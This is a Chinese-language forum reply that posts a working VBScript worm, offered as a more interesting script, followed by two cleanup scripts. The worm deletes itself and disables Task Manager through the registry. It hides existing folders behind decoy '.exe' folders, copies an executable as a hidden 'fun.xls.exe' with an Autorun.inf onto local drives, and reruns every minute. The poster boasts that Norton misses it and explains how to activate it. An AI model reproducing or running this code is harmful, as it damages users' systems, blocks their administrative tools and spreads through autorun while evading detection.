|
|
回复 7# 永恒
你不如用这个。。。
一个更有意思的vbs：
注：诺顿查不出问题，相信其他杀软也查不出来，但360杀毒报毒：Generic.ScriptWorm.3389A2B2（360杀毒太强悍了，没办法）
简单介绍一下功能：
1.根目录下的文件夹带有"exe"扩展名；
2.根目录下生成"Autorun.inf"文件；
3.根目录下生成"fun.xls.exe"文件(系统隐藏文件，必须去掉隐藏才能看见)；
4.运行后自动删除自己；
5.每隔1分钟运行一次；
6.禁用任务管理器。
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD"
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(drv & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv & "\").SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
把后缀改为vbs就可以用了，解决方法在这里：
文件1：CAutorun_1.vbs
代码如下：
''''''''''''''''''''代码开始 ''''''''''''''''''''
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",0,"REG_DWORD"
MsgBox "请用任务管理器结束所有wscript.exe进程!",64,"PC"
''''''''''''''''''''代码结束 ''''''''''''''''''''
文件2：CAutorun_2.vbs
代码如下：
''''''''''''''''''''代码开始''''''''''''''''''''
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If fso.GetExtensionName(Fdr.Name)="exe" Then
fso.GetFolder(C & Fdr.Name).Delete(True)
End If
Next
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
fso.GetFile(drv & "\Autorun.inf").Delete(True)
fso.GetFile(drv & "\fun.xls.exe").Delete(True)
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv & "\").SubFolders
For Each Fdr In Fdrs
If fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=fso.GetBaseName(Fdr.Name)
End If
Next
End If
End If
Next
fso.GetFolder(C & "Program Files").Attributes=0
fso.GetFolder(C & "Documents and Settings").Attributes=0
fso.GetFolder(C & "WINDOWS").Attributes=0
MsgBox "冒牌Autorun病毒清除完毕!",64,"PC"
''''''''''''''''''''代码结束''''''''''''''''''''
使用方法：
1.运行"CAutorun_1.vbs"；
2.打开任务管理器，结束"wscript.exe"进程；
3.运行"CAutorun_2.vbs";
4.搞定！
注：最好两个文件放在桌面运行,并关闭其他窗口；可能有个别文件夹不能回复（是回收站，因为系统会自动创建），手动删除即可。 |
|
楼主
